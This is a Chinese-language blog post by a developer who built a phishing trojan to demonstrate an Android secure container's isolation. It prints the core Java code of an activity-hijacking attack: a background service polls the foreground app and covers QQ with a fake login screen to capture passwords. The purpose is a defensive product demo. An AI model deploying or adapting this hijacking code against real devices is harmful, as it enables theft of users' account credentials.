"在其位謀其政 任其職盡其責",既然進入了安全領域就應該做出一點相關的成果出來,否則就是名不符實,而我今天總算做出了一點真正和安全相關的東西了,記錄於此。
我的項目組做的是一個叫安全容器的東西,大致上就是在系統中虛擬出另外一個操作環境與普通環境隔離開來,這個環境可以進行一些安全度高的操作,比如支付,並且保證不被普通環境影響。主要是針對政府企業單位的產品,最大的亮點當然就是這個隔離性了。
但是在很長一段時間,我們在demo場景演示中只有 存儲隔離(比如容器內外拍的照互相不能看到)、運行隔離(比如容器內外可以同時運行qq登錄不同的帳號互補影響)。這些也能說明隔離,但是最有力直接的證明這個容器的安全性還是通過:手機上裝上病毒、木馬、釣魚應用,容器外的密碼被盜取,而容器內不受影響。這纔是最直接有效的證明其安全性的方式。但奈何團隊中都沒有安全背景,很長一段時間都不知道常見的攻擊行爲是怎樣的,也就沒能設計一個典型的攻擊場景進入到demo中。
正好這段時間接觸到了針對android系統專有的activity界面劫持問題,研究了一下發現這個攻擊行爲能很好的證明容器的隔離性。實際上原理很簡單就是木馬應用在後臺輪詢當前正在打開的activity,如果發現是qq,就會彈出一個仿照的qq登錄界面覆蓋真正的qq,從而誘導用戶在假的頁面上輸入帳號密碼,唉,我試着做完這個釣魚應用之後,發現對於小白來說根本無法辨別,只能坐當肉雞啊。好了,不多說了,下面上代碼。
一個後臺setrvice監聽打開的activity, 關鍵代碼
final ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
new Thread(){
@Override
public void run() {
super.run();
while(!mStopService){
String pkgName = activityManager
.getRunningTasks(1).get(0).topActivity.getPackageName();
// Log.v(TAG, "comint activity:"+pkgName);
for(String targetname: targetComponents){
if(targetname.equals(pkgName)){
hijacking(pkgName);
break;
}
}
try {
sleep(300);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}.start();
private void hijacking(String pkgName) {
if(targetComponents[0].equals(pkgName)){//QQ
// Log.v(TAG, "給我吧,qq:"+pkgName);
Intent intent = new Intent(this, CopyQQLoginActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);//彈出山寨版qq登錄界面
}
}